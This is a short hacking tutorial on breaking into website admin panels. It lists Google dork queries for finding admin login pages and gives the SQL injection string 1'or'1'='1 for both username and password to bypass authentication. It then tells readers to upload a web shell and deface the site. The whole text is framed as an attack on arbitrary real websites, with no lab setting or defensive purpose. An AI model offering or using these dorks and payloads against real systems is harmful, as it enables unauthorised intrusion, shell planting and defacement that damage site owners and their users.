SQL injection- admin panel hacking

You might have seen hackers hacking and defaceing websites, editing it with
their own stuff, makeing post on websites etc. There are many methods of
doing this, In this tutorial I will be showing you a very basic and simply SQLi
(Structured Query Language Injection). I will show you how to find the websites
admin panel using a simple google dork and a SQL query to bypass the admin
user name and password and enter into the panel. When you are in the panel
just find a upload option and upload your shell, then deface it.
Dorks:
inurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx
# Try to make your own dorks also to get more success rate.
Hundreds of sites will open up having /adminlogin.aspx in their URL. Select any
website, you will get the area from where the admins login. Fill the details as:
User: 1'or'1'='1
Password: 1'or'1'='1
Use the above mentioned login details and you will be into the admin panel of
a website. I will not work for all the websites you will find, but will work on most
of the website.
